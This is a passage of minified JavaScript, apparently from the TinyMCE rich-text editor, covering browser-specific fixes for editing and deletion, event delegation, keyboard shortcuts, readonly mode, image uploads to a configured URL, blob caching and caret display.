E(function(){}),t.observe(f.getDoc(),{childList:!0,attributes:!0,subtree:!0,attributeFilter:["style"]}),f.getDoc().execCommand(e?"ForwardDelete":"Delete",!1,null),n=f.selection.getRng(),r=n.startContainer.parentNode,s.each(t.takeRecords(),function(e){if(x.isChildOf(e.target,f.getBody())){if("style"==e.attributeName){var
t=e.target.getAttribute("data-mce-style");t?e.target.setAttribute("style",t):e.target.removeAttribute("style")}s.each(e.addedNodes,function(e){if("SPAN"==e.nodeName&&!e.getAttribute("mce-data-marked")){var
t,i;e==r&&(t=n.startOffset,i=e.firstChild),x.remove(e,!0),i&&(n.setStart(i,t),n.setEnd(i,t),f.selection.setRng(n))}})}}),t.disconnect(),s.each(f.dom.select("span[mce-data-marked]"),function(e){e.removeAttribute("mce-data-marked")}))}function
b(e){f.undoManager.transact(function(){h(e)})}var
C=f.getDoc(),x=f.dom,w=f.selection,E=window.MutationObserver,N,_;E||(N=!0,E=function(){function
e(e){var
t=e.relatedNode||e.target;n.push({target:t,addedNodes:[t]})}function
t(e){var
t=e.relatedNode||e.target;n.push({target:t,attributeName:e.attrName})}var
n=[],r;this.observe=function(n){r=n,r.addEventListener("DOMSubtreeModified",e,!1),r.addEventListener("DOMNodeInsertedIntoDocument",e,!1),r.addEventListener("DOMNodeInserted",e,!1),r.addEventListener("DOMAttrModified",t,!1)},this.disconnect=function(){r.removeEventListener("DOMSubtreeModified",e,!1),r.removeEventListener("DOMNodeInsertedIntoDocument",e,!1),r.removeEventListener("DOMNodeInserted",e,!1),r.removeEventListener("DOMAttrModified",t,!1)},this.takeRecords=function(){return
n}}),f.on("keydown",function(e){var
t=e.keyCode==te,n=e.ctrlKey||e.metaKey;if(!m(e)&&(t||e.keyCode==ee)){var
r=f.selection.getRng(),i=r.startContainer,o=r.startOffset;if(t&&e.shiftKey)return;if(p(t,r))return
void
e.preventDefault();if(!n&&r.collapsed&&3==i.nodeType&&(t?o<i.data.length:o>0))return;e.preventDefault(),n&&f.selection.getSel().modify("extend",t?"forward":"backward",e.metaKey?"lineboundary":"word"),h(t)}}),f.on("keypress",function(t){if(!m(t)&&!w.isCollapsed()&&t.charCode>31&&!e.metaKeyPressed(t)){var
n,r,i,o,a,s;n=f.selection.getRng(),s=String.fromCharCode(t.charCode),t.preventDefault(),r=Z(n.startContainer).parents().filter(function(e,t){return!!f.schema.getTextInlineElements()[t.nodeName]}),h(!0),r=r.filter(function(e,t){return!Z.contains(f.getBody(),t)}),r.length?(i=x.createFragment(),r.each(function(e,t){t=t.cloneNode(!1),i.hasChildNodes()?(t.appendChild(i.firstChild),i.appendChild(t)):(a=t,i.appendChild(t)),i.appendChild(t)}),a.appendChild(f.getDoc().createTextNode(s)),o=x.getParent(n.startContainer,x.isBlock),x.isEmpty(o)?Z(o).empty().append(i):n.insertNode(i),n.setStart(a.firstChild,1),n.setEnd(a.firstChild,1),f.selection.setRng(n)):f.selection.setContent(s)}}),f.addCommand("Delete",function(){h()}),f.addCommand("ForwardDelete",function(){h(!0)}),N||(f.on("dragstart",function(e){_=w.getRng(),g(e)}),f.on("drop",function(e){if(!m(e)){var
n=v(e);n&&(e.preventDefault(),l.setEditorTimeout(f,function(){var
r=t.getCaretRangeFromPoint(e.x,e.y,C);_&&(w.setRng(_),_=null,b()),w.setRng(r),y(n.html)}))}}),f.on("cut",function(e){m(e)||!e.clipboardData||f.selection.isCollapsed()||(e.preventDefault(),e.clipboardData.clearData(),e.clipboardData.setData("text/html",f.selection.getContent()),e.clipboardData.setData("text/plain",f.selection.getContent({format:"text"})),l.setEditorTimeout(f,function(){b(!0)}))}))}function
C(){function e(e){var
t=ne.create("body"),n=e.cloneContents();return
t.appendChild(n),re.serializer.serialize(t,{format:"html"})}function
n(n){if(!n.setStart){if(n.item)return!1;var r=n.duplicate();return
r.moveToElementText(f.getBody()),t.compareRanges(n,r)}var
i=e(n),o=ne.createRng();o.selectNode(f.getBody());var a=e(o);return
i===a}f.on("keydown",function(e){var
t=e.keyCode,r,i;if(!m(e)&&(t==te||t==ee)){if(r=f.selection.isCollapsed(),i=f.getBody(),r&&!ne.isEmpty(i))return;if(!r&&!n(f.selection.getRng()))return;e.preventDefault(),f.setContent(""),i.firstChild&&ne.isBlock(i.firstChild)?f.selection.setCursorLocation(i.firstChild,0):f.selection.setCursorLocation(i,0),f.nodeChanged()}})}function
x(){f.shortcuts.add("meta+a",null,"SelectAll")}function
w(){f.settings.content_editable||ne.bind(f.getDoc(),"mousedown
mouseup",function(e){var
t;if(e.target==f.getDoc().documentElement)if(t=re.getRng(),f.getBody().focus(),"mousedown"==e.type){if(u.isCaretContainer(t.startContainer))return;re.placeCaretAt(e.clientX,e.clientY)}else
re.setRng(t)})}function
E(){f.on("keydown",function(e){if(!m(e)&&e.keyCode===ee){if(!f.getBody().getElementsByTagName("hr").length)return;if(re.isCollapsed()&&0===re.getRng(!0).startOffset){var
t=re.getNode(),n=t.previousSibling;if("HR"==t.nodeName)return
ne.remove(t),void
e.preventDefault();n&&n.nodeName&&"hr"===n.nodeName.toLowerCase()&&(ne.remove(n),e.preventDefault())}}})}function
N(){window.Range.prototype.getClientRects||f.on("mousedown",function(e){if(!m(e)&&"HTML"===e.target.nodeName){var
t=f.getBody();t.blur(),l.setEditorTimeout(f,function(){t.focus()})}})}function
_(){f.on("click",function(e){var
t=e.target;/^(IMG|HR)$/.test(t.nodeName)&&"false"!==ne.getContentEditableParent(t)&&(e.preventDefault(),re.select(t),f.nodeChanged()),"A"==t.nodeName&&ne.hasClass(t,"mce-item-anchor")&&(e.preventDefault(),re.select(t))})}function
S(){function e(){var e=ne.getAttribs(re.getStart().cloneNode(!1));return
function(){var
t=re.getStart();t!==f.getBody()&&(ne.setAttrib(t,"style",null),Q(e,function(e){t.setAttributeNode(e.cloneNode(!0))}))}}function
t(){return!re.isCollapsed()&&ne.getParent(re.getStart(),ne.isBlock)!=ne.getParent(re.getEnd(),ne.isBlock)}f.on("keypress",function(n){var
r;if(!m(n)&&(8==n.keyCode||46==n.keyCode)&&t())return
r=e(),f.getDoc().execCommand("delete",!1,null),r(),n.preventDefault(),!1}),ne.bind(f.getDoc(),"cut",function(n){var
r;!m(n)&&t()&&(r=e(),l.setEditorTimeout(f,function(){r()}))})}function
k(){document.body.setAttribute("role","application")}function
T(){f.on("keydown",function(e){if(!m(e)&&e.keyCode===ee&&re.isCollapsed()&&0===re.getRng(!0).startOffset){var
t=re.getNode().previousSibling;if(t&&t.nodeName&&"table"===t.nodeName.toLowerCase())return
e.preventDefault(),!1}})}function
R(){h()>7||(p("RespectVisibilityInDesign",!0),f.contentStyles.push(".mceHideBrInPre
pre br {display:
none}"),ne.addClass(f.getBody(),"mceHideBrInPre"),oe.addNodeFilter("pre",function(e){for(var
t=e.length,n,r,o,a;t--;)for(n=e[t].getAll("br"),r=n.length;r--;)o=n[r],a=o.prev,a&&3===a.type&&"\n"!=a.value.charAt(a.value-1)?a.value+="\n":o.parent.insert(new
i("#text",3),o,!0).value="\n"}),ae.addNodeFilter("pre",function(e){for(var
t=e.length,n,r,i,o;t--;)for(n=e[t].getAll("br"),r=n.length;r--;)i=n[r],o=i.prev,o&&3==o.type&&(o.value=o.value.replace(/\r?\n$/,""))}))}function
A(){ne.bind(f.getBody(),"mouseup",function(){var
e,t=re.getNode();"IMG"==t.nodeName&&((e=ne.getStyle(t,"width"))&&(ne.setAttrib(t,"width",e.replace(/[^0-9%]+/g,"")),ne.setStyle(t,"width","")),(e=ne.getStyle(t,"height"))&&(ne.setAttrib(t,"height",e.replace(/[^0-9%]+/g,"")),ne.setStyle(t,"height","")))})}function
B(){f.on("keydown",function(t){var
n,r,i,o,a;if(!m(t)&&t.keyCode==e.BACKSPACE&&(n=re.getRng(),r=n.startContainer,i=n.startOffset,o=ne.getRoot(),a=r,n.collapsed&&0===i)){for(;a&&a.parentNode&&a.parentNode.firstChild==a&&a.parentNode!=o;)a=a.parentNode;"BLOCKQUOTE"===a.tagName&&(f.formatter.toggle("blockquote",null,a),n=ne.createRng(),n.setStart(r,0),n.setEnd(r,0),re.setRng(n))}})}function
D(){function
e(){K(),p("StyleWithCSS",!1),p("enableInlineTableEditing",!1),ie.object_resizing||p("enableObjectResizing",!1)}ie.readonly||f.on("BeforeExecCommand
MouseDown",e)}function L(){function
e(){Q(ne.select("a"),function(e){var
t=e.parentNode,n=ne.getRoot();if(t.lastChild===e){for(;t&&!ne.isBlock(t);){if(t.parentNode.lastChild!==t||t===n)return;t=t.parentNode}ne.add(t,"br",{"data-mce-bogus":1})}})}f.on("SetContent
ExecCommand",function(t){"setcontent"!=t.type&&"mceInsertLink"!==t.command||e()})}function
M(){ie.forced_root_block&&f.on("init",function(){p("DefaultParagraphSeparator",ie.forced_root_block)})}function
P(){f.on("keydown",function(e){var
t;m(e)||e.keyCode!=ee||(t=f.getDoc().selection.createRange(),t&&t.item&&(e.preventDefault(),f.undoManager.beforeChange(),ne.remove(t.item(0)),f.undoManager.add()))})}function
O(){var e;h()>=10&&(e="",Q("p div h1 h2 h3 h4 h5
h6".split("
"),function(t,n){e+=(n>0?",":"")+t+":empty"}),f.contentStyles.push(e+"{padding-right:
1px !important}"))}function
H(){h()<9&&(oe.addNodeFilter("noscript",function(e){for(var
t=e.length,n,r;t--;)n=e[t],r=n.firstChild,r&&n.attr("data-mce-innertext",r.value)}),ae.addNodeFilter("noscript",function(e){for(var
t=e.length,n,r,a;t--;)n=e[t],r=e[t].firstChild,r?r.value=o.decode(r.value):(a=n.attributes.map["data-mce-innertext"],a&&(n.attr("data-mce-innertext",null),r=new
i("#text",3),r.value=a,r.raw=!0,n.append(r)))}))}function
I(){function e(e,t){var
n=i.createTextRange();try{n.moveToPoint(e,t)}catch(r){n=null}return
n}function t(t){var
r;t.button?(r=e(t.x,t.y),r&&(r.compareEndPoints("StartToStart",a)>0?r.setEndPoint("StartToStart",a):r.setEndPoint("EndToEnd",a),r.select())):n()}function
n(){var
e=r.selection.createRange();a&&!e.item&&0===e.compareEndPoints("StartToEnd",e)&&a.select(),ne.unbind(r,"mouseup",n),ne.unbind(r,"mousemove",t),a=o=0}var
r=ne.doc,i=r.body,o,a,s;r.documentElement.unselectable=!0,ne.bind(r,"mousedown
contextmenu",function(i){if("HTML"===i.target.nodeName){if(o&&n(),s=r.documentElement,s.scrollHeight>s.clientHeight)return;o=1,a=e(i.x,i.y),a&&(ne.bind(r,"mouseup",n),ne.bind(r,"mousemove",t),ne.getRoot().focus(),a.select())}})}function
F(){f.on("keyup focusin
mouseup",function(t){65==t.keyCode&&e.metaKeyPressed(t)||re.normalize()},!0)}function
z(){f.contentStyles.push("img:-moz-broken
{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}")}function
U(){f.inline||f.on("keydown",function(){document.activeElement==document.body&&f.getWin().focus()})}function
W(){f.inline||(f.contentStyles.push("body {min-height:
150px}"),f.on("click",function(e){var
t;if("HTML"==e.target.nodeName){if(a.ie>11)return void
f.getBody().focus();t=f.selection.getRng(),f.getBody().focus(),f.selection.setRng(t),f.selection.normalize(),f.nodeChanged()}}))}function
V(){a.mac&&f.on("keydown",function(t){!e.metaKeyPressed(t)||t.shiftKey||37!=t.keyCode&&39!=t.keyCode||(t.preventDefault(),f.selection.getSel().modify("move",37==t.keyCode?"backward":"forward","lineboundary"))})}function
$(){p("AutoUrlDetect",!1)}function
q(){f.on("click",function(e){var t=e.target;do
if("A"===t.tagName)return void
e.preventDefault();while(t=t.parentNode)}),f.contentStyles.push(".mce-content-body
{-webkit-touch-callout: none}")}function
j(){f.on("init",function(){f.dom.bind(f.getBody(),"submit",function(e){e.preventDefault()})})}function
Y(){oe.addNodeFilter("br",function(e){for(var
t=e.length;t--;)"Apple-interchange-newline"==e[t].attr("class")&&e[t].remove()})}function
X(){f.on("dragstart",function(e){g(e)}),f.on("drop",function(e){if(!m(e)){var
n=v(e);if(n&&n.id!=f.id){e.preventDefault();var
r=t.getCaretRangeFromPoint(e.x,e.y,f.getDoc());re.setRng(r),y(n.html)}}})}function
K(){}function G(){var e;return
se?(e=f.selection.getSel(),!e||!e.rangeCount||0===e.rangeCount):0}function
J(){function t(e){var t=new
d(e.getBody()),n=e.selection.getRng(),r=c.fromRangeStart(n),i=c.fromRangeEnd(n),o=t.prev(r),a=t.next(i);return!e.selection.isCollapsed()&&(!o||o.isAtStart()&&r.isEqual(o))&&(!a||a.isAtEnd()&&r.isEqual(a))}f.on("keypress",function(n){!m(n)&&!re.isCollapsed()&&n.charCode>31&&!e.metaKeyPressed(n)&&t(f)&&(n.preventDefault(),f.setContent(String.fromCharCode(n.charCode)),f.selection.select(f.getBody(),!0),f.selection.collapse(!1),f.nodeChanged())}),f.on("keydown",function(e){var
n=e.keyCode;m(e)||n!=te&&n!=ee||t(f)&&(e.preventDefault(),f.setContent(""),f.nodeChanged())})}var
Q=s.each,Z=f.$,ee=e.BACKSPACE,te=e.DELETE,ne=f.dom,re=f.selection,ie=f.settings,oe=f.parser,ae=f.serializer,se=a.gecko,le=a.ie,ue=a.webkit,ce="data:text/mce-internal,",de=le?"Text":"URL";return
B(),C(),a.windowsPhone||F(),ue&&(J(),b(),w(),_(),M(),j(),T(),Y(),a.iOS?(U(),W(),q()):x()),le&&a.ie<11&&(E(),k(),R(),A(),P(),O(),H(),I()),a.ie>=11&&T(),a.ie&&(W(),x(),$(),X()),se&&(J(),E(),N(),S(),D(),L(),z(),V(),T()),{refreshContentEditable:K,isHidden:G}}}),r(Ue,[pe,w,m],function(e,t,n){function
r(e,t){return"selectionchange"==t?e.getDoc():!e.inline&&/^mouse|touch|click|contextmenu|drop|dragover|dragend/.test(t)?e.getDoc().documentElement:e.settings.event_root?(e.eventRoot||(e.eventRoot=o.select(e.settings.event_root)[0]),e.eventRoot):e.getBody()}function
i(e,t){function n(e){return!e.hidden&&!e.readonly}var
i=r(e,t),s;if(e.delegates||(e.delegates={}),!e.delegates[t])if(e.settings.event_root){if(a||(a={},e.editorManager.on("removeEditor",function(){var
t;if(!e.editorManager.activeEditor&&a){for(t in
a)e.dom.unbind(r(e,t));a=null}})),a[t])return;s=function(r){for(var
i=r.target,a=e.editorManager.editors,s=a.length;s--;){var
l=a[s].getBody();(l===i||o.isChildOf(i,l))&&n(a[s])&&a[s].fire(t,r)}},a[t]=s,o.bind(i,t,s)}else
s=function(r){n(e)&&e.fire(t,r)},o.bind(i,t,s),e.delegates[t]=s}var
o=t.DOM,a,s={bindPendingEventDelegates:function(){var
e=this;n.each(e._pendingNativeEvents,function(t){i(e,t)})},toggleNativeEvent:function(e,t){var
n=this;"focus"!=e&&"blur"!=e&&(t?n.initialized?i(n,e):n._pendingNativeEvents?n._pendingNativeEvents.push(e):n._pendingNativeEvents=[e]:n.initialized&&(n.dom.unbind(r(n,e),e,n.delegates[e]),delete
n.delegates[e]))},unbindAllNativeEvents:function(){var
e=this,t;if(e.delegates){for(t in
e.delegates)e.dom.unbind(r(e,t),t,e.delegates[t]);delete
e.delegates}e.inline||(e.getBody().onload=null,e.dom.unbind(e.getWin()),e.dom.unbind(e.getDoc())),e.dom.unbind(e.getBody()),e.dom.unbind(e.getContainer())}};return
s=n.extend({},e,s)}),r(We,[],function(){function
e(e,t,n){try{e.getDoc().execCommand(t,!1,n)}catch(r){}}function t(e){var
t,n;return
t=e.getBody(),n=function(t){e.dom.getParents(t.target,"a").length>0&&t.preventDefault()},e.dom.bind(t,"click",n),{unbind:function(){e.dom.unbind(t,"click",n)}}}function
n(n,r){n._clickBlocker&&(n._clickBlocker.unbind(),n._clickBlocker=null),r?(n._clickBlocker=t(n),n.selection.controlSelection.hideResizeRect(),n.readonly=!0,n.getBody().contentEditable=!1):(n.readonly=!1,n.getBody().contentEditable=!0,e(n,"StyleWithCSS",!1),e(n,"enableInlineTableEditing",!1),e(n,"enableObjectResizing",!1),n.focus(),n.nodeChanged())}function
r(e,t){var
r=e.readonly?"readonly":"design";t!=r&&(e.initialized?n(e,"readonly"==t):e.on("init",function(){n(e,"readonly"==t)}),e.fire("SwitchMode",{mode:t}))}return{setMode:r}}),r(Ve,[m,d],function(e,t){var
n=e.each,r=e.explode,i={f9:120,f10:121,f11:122},o=e.makeMap("alt,ctrl,shift,meta,access");return
function(a){function s(e){var a,s,l={};n(r(e,"+"),function(e){e
in
o?l[e]=!0:/^[0-9]{2,}$/.test(e)?l.keyCode=parseInt(e,10):(l.charCode=e.charCodeAt(0),l.keyCode=i[e]||e.toUpperCase().charCodeAt(0))}),a=[l.keyCode];for(s
in o)l[s]?a.push(s):l[s]=!1;return
l.id=a.join(","),l.access&&(l.alt=!0,t.mac?l.ctrl=!0:l.shift=!0),l.meta&&(t.mac?l.meta=!0:(l.ctrl=!0,l.meta=!1)),l}function
l(t,n,i,o){var l;return
l=e.map(r(t,">"),s),l[l.length-1]=e.extend(l[l.length-1],{func:i,scope:o||a}),e.extend(l[0],{desc:a.translate(n),subpatterns:l.slice(1)})}function
u(e){return e.altKey||e.ctrlKey||e.metaKey}function
c(e){return"keydown"===e.type&&e.keyCode>=112&&e.keyCode<=123}function
d(e,t){return!!t&&(t.ctrl==e.ctrlKey&&t.meta==e.metaKey&&(t.alt==e.altKey&&t.shift==e.shiftKey&&(!!(e.keyCode==t.keyCode||e.charCode&&e.charCode==t.charCode)&&(e.preventDefault(),!0))))}function
f(e){return e.func?e.func.call(e.scope):null}var
p=this,h={},m=[];a.on("keyup keypress
keydown",function(e){!u(e)&&!c(e)||e.isDefaultPrevented()||(n(h,function(t){if(d(e,t))return
m=t.subpatterns.slice(0),"keydown"==e.type&&f(t),!0}),d(e,m[0])&&(1===m.length&&"keydown"==e.type&&f(m[0]),m.shift()))}),p.add=function(t,i,o,s){var
u;return u=o,"string"==typeof
o?o=function(){a.execCommand(u,!1,null)}:e.isArray(u)&&(o=function(){a.execCommand(u[0],u[1],u[2])}),n(r(e.trim(t.toLowerCase())),function(e){var
t=l(e,i,o,s);h[t.id]=t}),!0},p.remove=function(e){var
t=l(e);return!!h[t.id]&&(delete
h[t.id],!0)}}}),r($e,[u,m,z],function(e,t,n){return function(r,i){function
o(e){var t,n;return
n={"image/jpeg":"jpg","image/jpg":"jpg","image/gif":"gif","image/png":"png"},t=n[e.blob().type.toLowerCase()]||"dat",e.filename()+"."+t}function
a(e,t){return
e?e.replace(/\/$/,"")+"/"+t.replace(/^\//,""):t}function
s(e){return{id:e.id,blob:e.blob,base64:e.base64,filename:n.constant(o(e))}}function
l(e,t,n,r){var o,s;o=new
XMLHttpRequest,o.open("POST",i.url),o.withCredentials=i.credentials,o.upload.onprogress=function(e){r(e.loaded/e.total*100)},o.onerror=function(){n("Image
upload failed due to a XHR Transport error. Code:
"+o.status)},o.onload=function(){var e;return 200!=o.status?void
n("HTTP Error:
"+o.status):(e=JSON.parse(o.responseText),e&&"string"==typeof
e.location?void t(a(i.basePath,e.location)):void n("Invalid JSON:
"+o.responseText))},s=new
FormData,s.append("file",e.blob(),e.filename()),o.send(s)}function
u(){return new e(function(e){e([])})}function
c(e,t){return{url:t,blobInfo:e,status:!0}}function
d(e,t){return{url:"",blobInfo:e,status:!1,error:t}}function
f(e,n){t.each(y[e],function(e){e(n)}),delete y[e]}function p(t,n,i){return
r.markPending(t.blobUri()),new e(function(e){var o,a,l=function(){};try{var
u=function(){o&&(o.close(),a=l)},p=function(n){u(),r.markUploaded(t.blobUri(),n),f(t.blobUri(),c(t,n)),e(c(t,n))},h=function(n){u(),r.removeFailed(t.blobUri()),f(t.blobUri(),d(t,n)),e(d(t,n))};a=function(e){e<0||e>100||(o||(o=i()),o.progressBar.value(e))},n(s(t),p,h,a)}catch(m){e(d(t,m.message))}})}function
h(e){return e===l}function m(t){var n=t.blobUri();return new
e(function(e){y[n]=y[n]||[],y[n].push(e)})}function g(n,o){return
n=t.grep(n,function(e){return!r.isUploaded(e.blobUri())}),e.all(t.map(n,function(e){return
r.isPending(e.blobUri())?m(e):p(e,i.handler,o)}))}function
v(e,t){return!i.url&&h(i.handler)?u():g(e,t)}var y={};return
i=t.extend({credentials:!1,handler:l},i),{upload:v}}}),r(qe,[u],function(e){function
t(t){return new e(function(e,n){var r=function(){n("Cannot convert
"+t+" to Blob. Resource might not exist or is
inaccessible.")};try{var i=new
XMLHttpRequest;i.open("GET",t,!0),i.responseType="blob",i.onload=function(){200==this.status?e(this.response):r()},i.onerror=r,i.send()}catch(o){r()}})}function
n(e){var t,n;return
e=decodeURIComponent(e).split(","),n=/data:([^;]+)/.exec(e[0]),n&&(t=n[1]),{type:t,data:e[1]}}function
r(t){return new e(function(e){var
r,i,o;t=n(t);try{r=atob(t.data)}catch(a){return void e(new
Blob([]))}for(i=new
Uint8Array(r.length),o=0;o<i.length;o++)i[o]=r.charCodeAt(o);e(new
Blob([i],{type:t.type}))})}function i(e){return
0===e.indexOf("blob:")?t(e):0===e.indexOf("data:")?r(e):null}function
o(t){return new e(function(e){var n=new
FileReader;n.onloadend=function(){e(n.result)},n.readAsDataURL(t)})}return{uriToBlob:i,blobToDataUri:o,parseDataUri:n}}),r(je,[u,h,z,qe,d],function(e,t,n,r,i){var
o=0,a=function(e){return(e||"blobid")+o++};return
function(o,s){function l(l,c){function d(e,t,n){var i,o;return
0===e.src.indexOf("blob:")?(o=s.getByUri(e.src),void(o?t({image:e,blobInfo:o}):r.uriToBlob(e.src).then(function(n){r.blobToDataUri(n).then(function(l){i=r.parseDataUri(l).data,o=s.create(a(),n,i),s.add(o),t({image:e,blobInfo:o})})},function(e){n(e)}))):(i=r.parseDataUri(e.src).data,o=s.findFirst(function(e){return
e.base64()===i}),void(o?t({image:e,blobInfo:o}):r.uriToBlob(e.src).then(function(n){o=s.create(a(),n,i),s.add(o),t({image:e,blobInfo:o})},function(e){n(e)})))}var
f,p;return c||(c=n.constant(!0)),
f=t.filter(l.getElementsByTagName("img"),function(e){var
t=e.src;return!!i.fileApi&&(!e.hasAttribute("data-mce-bogus")&&(!e.hasAttribute("data-mce-placeholder")&&(!(!t||t==i.transparentSrc)&&(0===t.indexOf("blob:")?!o.isUploaded(t):0===t.indexOf("data:")&&c(e)))))}),p=t.map(f,function(t){var
n;return u[t.src]?new
e(function(e){u[t.src].then(function(n){return"string"==typeof
n?n:void e({image:t,blobInfo:n.blobInfo})})}):(n=new
e(function(e,n){d(t,e,n)}).then(function(e){return delete
u[e.image.src],e})["catch"](function(e){return delete
u[t.src],e}),u[t.src]=n,n)}),e.all(p)}var
u={};return{findAll:l}}}),r(Ye,[h,z],function(e,t){return
function(){function
n(e,t,n,r){return{id:c(e),filename:c(r||e),blob:c(t),base64:c(n),blobUri:c(URL.createObjectURL(t))}}function
r(e){i(e.id())||u.push(e)}function i(e){return o(function(t){return
t.id()===e})}function o(t){return e.filter(u,t)[0]}function a(e){return
o(function(t){return t.blobUri()==e})}function
s(t){u=e.filter(u,function(e){return
e.blobUri()!==t||(URL.revokeObjectURL(e.blobUri()),!1)})}function
l(){e.each(u,function(e){URL.revokeObjectURL(e.blobUri())}),u=[]}var
u=[],c=t.constant;return{create:n,add:r,get:i,getByUri:a,findFirst:o,removeByUri:s,destroy:l}}}),r(Xe,[],function(){return
function(){function e(e,t){return{status:e,resultUri:t}}function
t(e){return e in d}function n(e){var t=d[e];return
t?t.resultUri:null}function
r(e){return!!t(e)&&d[e].status===u}function
i(e){return!!t(e)&&d[e].status===c}function
o(t){d[t]=e(u,null)}function a(t,n){d[t]=e(c,n)}function s(e){delete
d[e]}function l(){d={}}var
u=1,c=2,d={};return{hasBlobUri:t,getResultUri:n,isPending:r,isUploaded:i,markPending:o,markUploaded:a,removeFailed:s,destroy:l}}}),r(Ke,[N],function(e){var
t=e.PluginManager,n=function(e,n){for(var r in t.urls){var
i=t.urls[r]+"/plugin"+n+".js";if(i===e)return r}return
null},r=function(e,t){var r=n(t,e.suffix);return r?"Failed to load
plugin: "+r+" from url "+t:"Failed to load plugin url:
"+t},i=function(e,t){e.notificationManager.open({type:"error",text:t})},o=function(e,t){e._skinLoaded?i(e,t):e.on("SkinLoaded",function(){i(e,t)})},a=function(e,t){o(e,"Failed
to upload image:
"+t)},s=function(e,t){o(e,r(e,t))};return{pluginLoadError:s,uploadError:a,displayError:o}}),r(Ge,[h,$e,je,Ye,Xe,Ke],function(e,t,n,r,i,o){return
function(a){function s(e){return function(t){return
a.selection?e(t):[]}}function l(){return"?"+(new
Date).getTime()}function u(e,t,n){var r=0;do
r=e.indexOf(t,r),r!==-1&&(e=e.substring(0,r)+n+e.substr(r+t.length),r+=n.length-t.length+1);while(r!==-1);return
e}function c(e,t,n){return
e=u(e,'src="'+t+'"','src="'+n+'"'),e=u(e,'data-mce-src="'+t+'"','data-mce-src="'+n+'"')}function
d(t,n){e.each(a.undoManager.data,function(r){"fragmented"===r.type?r.fragments=e.map(r.fragments,function(e){return
c(e,t,n)}):r.content=c(r.content,t,n)})}function f(){return
a.notificationManager.open({text:a.translate("Image
uploading..."),type:"info",timeout:-1,progressBar:!0})}function
p(e,t){C.removeByUri(e.src),d(e.src,t),a.$(e).attr({src:E.images_reuse_filename?t+l():t,"data-mce-src":a.convertURL(t,"src")})}function
h(n){return x||(x=new
t(N,{url:E.images_upload_url,basePath:E.images_upload_base_path,credentials:E.images_upload_credentials,handler:E.images_upload_handler})),v().then(s(function(t){var
r;return r=e.map(t,function(e){return
e.blobInfo}),x.upload(r,f).then(s(function(r){return
r=e.map(r,function(e,n){var r=t[n].image;return
e.status&&a.settings.images_replace_blob_uris!==!1?p(r,e.url):e.error&&o.uploadError(a,e.error),{element:r,status:e.status}}),n&&n(r),r}))}))}function
m(e){if(E.automatic_uploads!==!1)return h(e)}function
g(e){return!E.images_dataimg_filter||E.images_dataimg_filter(e)}function
v(){return w||(w=new
n(N,C)),w.findAll(a.getBody(),g).then(s(function(t){return
t=e.filter(t,function(e){return"string"!=typeof
e||(o.displayError(a,e),!1)}),e.each(t,function(e){d(e.image.src,e.blobInfo.blobUri()),e.image.src=e.blobInfo.blobUri(),e.image.removeAttribute("data-mce-src")}),t}))}function
y(){C.destroy(),N.destroy(),w=x=null}function b(t){return
t.replace(/src="(blob:[^"]+)"/g,function(t,n){var
r=N.getResultUri(n);if(r)return'src="'+r+'"';var
i=C.getByUri(n);return
i||(i=e.reduce(a.editorManager.editors,function(e,t){return
e||t.editorUpload&&t.editorUpload.blobCache.getByUri(n)},null)),i?'src="data:'+i.blob().type+";base64,"+i.base64()+'"':t})}var
C=new r,x,w,E=a.settings,N=new i;return
a.on("setContent",function(){a.settings.automatic_uploads!==!1?m():v()}),a.on("RawSaveContent",function(e){e.content=b(e.content)}),a.on("getContent",function(e){e.source_view||"raw"==e.format||(e.content=b(e.content))}),a.on("PostRender",function(){a.parser.addNodeFilter("img",function(t){e.each(t,function(e){var
t=e.attr("src");if(!C.getByUri(t)){var
n=N.getResultUri(t);n&&e.attr("src",n)}})})}),{blobCache:C,uploadImages:h,uploadImagesAuto:m,scanForImages:v,destroy:y}}}),r(Je,[k,$,_,T,g,W,c],function(e,t,n,r,i,o,a){var
s=n.isContentEditableFalse;return function(t,n){function r(e,n){var
r=o.collapse(e.getBoundingClientRect(),n),i,a,s,l,u;return"BODY"==t.tagName?(i=t.ownerDocument.documentElement,a=t.scrollLeft||i.scrollLeft,s=t.scrollTop||i.scrollTop):(u=t.getBoundingClientRect(),a=t.scrollLeft-u.left,s=t.scrollTop-u.top),r.left+=a,r.right+=a,r.top+=s,r.bottom+=s,r.width=1,l=e.offsetWidth-e.clientWidth,l>0&&(n&&(l*=-1),r.left+=l,r.right+=l),r}function
l(){var
n,r,o,a,s;for(n=i("*[contentEditable=false]",t),a=0;a<n.length;a++)r=n[a],o=r.previousSibling,e.endsWithCaretContainer(o)&&(s=o.data,1==s.length?o.parentNode.removeChild(o):o.deleteData(s.length-1,1)),o=r.nextSibling,e.startsWithCaretContainer(o)&&(s=o.data,1==s.length?o.parentNode.removeChild(o):o.deleteData(0,1));return
null}function u(o,a){var l,u;return
c(),n(a)?(g=e.insertBlock("p",a,o),l=r(a,o),i(g).css("top",l.top),m=i('<div
class="mce-visual-caret"
data-mce-bogus="all"></div>').css(l).appendTo(t),o&&m.addClass("mce-visual-caret-before"),d(),u=a.ownerDocument.createRange(),u.setStart(g,0),u.setEnd(g,0),u):(g=e.insertInline(a,o),u=a.ownerDocument.createRange(),s(g.nextSibling)?(u.setStart(g,0),u.setEnd(g,0)):(u.setStart(g,1),u.setEnd(g,1)),u)}function
c(){l(),g&&(e.remove(g),g=null),m&&(m.remove(),m=null),clearInterval(h)}function
d(){h=a.setInterval(function(){i("div.mce-visual-caret",t).toggleClass("mce-visual-caret-hidden")},500)}function
f(){a.clearInterval(h)}function p(){return".mce-visual-caret
{position: absolute;background-color: black;background-color:
currentcolor;}.mce-visual-caret-hidden {display: none;}*[data-mce-caret]
{position: absolute;left: -1000px;right: auto;top: 0;margin: 0;padding:
0;}"}var
h,m,g;return{show:u,hide:c,getCss:p,destroy:f}}}),r(Qe,[h,_,W],function(e,t,n){function
r(i){function o(t){return e.map(t,function(e){return
e=n.clone(e),e.node=i,e})}if(e.isArray(i))return
e.reduce(i,function(e,t){return
e.concat(r(t))},[]);if(t.isElement(i))return
o(i.getClientRects());if(t.isText(i)){var
a=i.ownerDocument.createRange();return
a.setStart(i,0),a.setEnd(i,i.data.length),o(a.getClientRects())}}return{getClientRects:r}}),r(Ze,[z,h,Qe,U,ie,oe,$,W],function(e,t,n,r,i,o,a,s){function
l(e,t,n,o){for(;o=i.findNode(o,e,r.isEditableCaretCandidate,t);)if(n(o))return}function
u(e,r,i,o,a,s){function u(o){var
